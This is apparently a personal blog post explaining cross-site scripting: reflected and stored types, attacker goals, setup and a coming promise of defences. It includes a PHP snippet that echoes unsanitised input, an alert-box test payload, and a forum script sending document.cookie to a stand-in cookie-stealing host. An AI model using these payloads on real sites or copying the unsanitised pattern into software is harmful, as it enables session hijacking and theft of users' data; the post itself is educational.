One of the good things about writing a weekly blog is the impetus it provides to keep studying different topics. This week Cross-site Scripting (XSS) is in the crosshairs, as it is of the most common security vulnerabilities in software (see chart below, sourced from the WHID. Essentially an attacker embeds a script on a page, which is then executed on the client-side rather than on the server-side. Typical client-side scripting languages are HTML and JavaScript, or even SVG.
XSS Is Difficult To Avoid
Preventing the injection of XSS into web applications is a difficult task in complex applications. These applications usually need to allow a very wide range of potential input types. Narrowing the scope, or validating all input parameters, is not a trivial task. This wide spectrum of possibilities is what opens cracks in a system, enabling attackers to inject something into a database if they find the right seam in your code. Even within Google, the most reported web application vulnerability under their reward programme is XSS, coming in at 65%.
XSS Goals
The main issue is that XSS vulnerabilities can have serious consequences such as:
- Tampering with your local machine
- Stealing sensitive data
- Site redirection and phishing
- pwning your session
- Spreading worms and trojans
- Keystroke logging
- Accessing browser history
- Scanning and exploiting intranet appliances and applications
There are two types of XSS attacks: reflected and non-reflected. Reflected is when malicious code is injected within a single HTTP response, but is not stored within the application itself. It gets included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim. Once the script is run, the stolen data is usually sent from the end-user and collected by the attacker over the internet. Non-reflected XSS is when user input is stored on the target server, such as in a database,
in a message forum, visitor log, or comment field.
Once a XSS is successful it can basically do whatever a logged in user can do without needing another security token, or triggering a request for 2factor authentication. The XSS could even use your browser in a bot-net to target a third-party websites.
Setting Up An Attack
Each attack is usually a custom built script with specific goals. To set up a reflected attack the attacker needs to know some HTML, JavaScript, and a dynamic language to produce a URL. Once this is in place, XSS has a wide variety of execution possibilities. The attacker can use the script without any database target or even sending the data to the server. The most common targets though are pages that send parameters to a database as they are more vulnerable to this kind of hacking technique. So, once the attacker has identified a suitable target such as a login page, a forgotten password form, or a comments section, he/she can test the script on different browsers to see which one will execute on the client-side.
XSS Examples
Even the chart attached with this blog is executed on the client-side and if you view-source on this page you will see the <script> tag which generates the pie chart in your browser. This tag along with many other tags are what deliver dynamic web content. The following is an example XSS scripts that take advantage of tags which are executed on the client-side of a browser session.
The victim visits this page and clicks on the download link:
<?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://xssattackexamples.com/">Click to Download</a>";?>
The link is really a script which executes on the download:
index.php?name=guest<script>alert('attacked')</script>
In the following example, an attacker could post this on a comments forum. If the forum does not sanitize the content that is put on it, then when users load the page the following script could be executed locally and steal a users cookies:
<SCRIPT> document.location= ‘https://rhodecode.example/cgi- bin/cookiesteal.cgi?’+document.cookie</SCRIPT>
All Data Flows Are Targets
The injection of XSS scripts into pages that a browser interprets as HTML is not the only data flow that can be utilized to set up an attack. Other possibilities are sessions that control your browser which redirect it after signing in. One potential use here is a login timeout function. If a login results in a session timeout then the application normally navigates back to the URL that the user opened before logging in. By manipulating the short-term memory in a web application the XSS URL is encoded in the current URL. This hijacks the window.location.href DOM property, which instructs browsers to go to the provided URL, and that URL could contain the attacker’s script.
Conclusion
Depending on your perspective, XSS could be a fun side project if you want to learn some more about hacking and coding, or it could be a real threat if you are providing a service to users that contains sensitive information. The ability to infect systems, or control a user’s session and extract their data should be a major concern in a lot of industries. In June, even the BBC had their tweetdeck account hacked and their twitter feed started posting JavaScript, which although a little less harmful than their usual scaremongering and propaganda, is still undesirable behaviour.
There IS a way to prevent XSS hacking
The problem of XSS arises mainly because programmers trust user content. On the plus side though, the solution is found in sanitization, and code can be designed to mitigate against the risk of XSS. There are a number of measures which can be implemented during the development process that ensure applications are at least set up to be difficult targets. I will cover these measures next week, as I continue learning more about the topic.